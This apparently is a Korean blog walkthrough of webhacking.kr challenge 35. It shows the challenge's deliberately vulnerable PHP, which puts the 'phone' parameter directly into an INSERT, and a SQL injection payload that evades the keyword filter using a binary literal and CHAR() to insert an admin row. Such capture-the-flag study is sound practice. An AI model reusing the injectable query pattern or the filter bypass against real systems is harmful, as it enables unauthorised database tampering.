<html>
<head>
<title>Challenge 35</title>
<head>
<body>
<form method=get action=index.php>
phone : <input name=phone size=11><input type=submit value='add'>
</form>
<?
if($_GET[phone])
{
if(eregi("%|\*|/|=|from|select|x|-|#|\(\(",$_GET[phone])) exit("no hack");
@mysql_query("insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone])") or die("query error");
echo("Done<br>");
}
$admin_ck=mysql_fetch_array(mysql_query("select ip from challenge35_list where id='admin' and ip='$_SERVER[REMOTE_ADDR]'"));
if($admin_ck[ip]==$_SERVER[REMOTE_ADDR])
{
@solve();
@mysql_query("delete from challenge35_list");
}
$phone_list=@mysql_query("select * from challenge35_list where ip='$_SERVER[REMOTE_ADDR]'");
echo("<!--");
while($d=@mysql_fetch_array($phone_list))
{
echo("$d[id] - $d[phone]\n");
}
echo("-->");
?>
<br><a href=index.phps>index.phps</a>
<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=HellSonic>HellSonic</a></center>
<br><br><br>
</body>
</html>
11자리 phone이라는 파라미터를 입력받아 서버로 보낸다.
# 필터문자
%
*
/
=
from
select
x
-
#
((
insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone])
필터 처리하고 challenge35_list 테이블에 id, ip, phone 값을 보낸다.
$_SESSION[id]
$_SERVER[REMOTE_ADDR]
$_GET[phone]
select ip from challenge35_list where id='admin' and ip='$_SERVER[REMOTE_ADDR]'
현재 접속한 사용자가 관리자가이 맞는지 체크한다.
insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',1),(0b0110000101100100011011010110100101101110,CHAR(?,?,?,?,?,?,?,?,?,?,?,?,?),2)
id 파라미터에 2진법으로 admin 값을 넣었고, ip는 char 함수를 사용해 현재 IP 주소를 넣었다.
'WEB Hacking > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] 50번 :: /**/ SQL 인젝션 ㅡㅡ (0) | 2018.09.11 |
---|---|
[webhacking.kr] 07번 :: ㅡㅡ (0) | 2018.09.10 |
[webhacking.kr] 08번 :: INSERT SQL 인젝션 (0) | 2018.09.10 |
[webhacking.kr] 49번 :: SQL 인젝션 (0) | 2018.09.10 |
[webhacking.kr] 9번 :: Blind SQL 인젝션 ::IF문 활용 (0) | 2018.09.08 |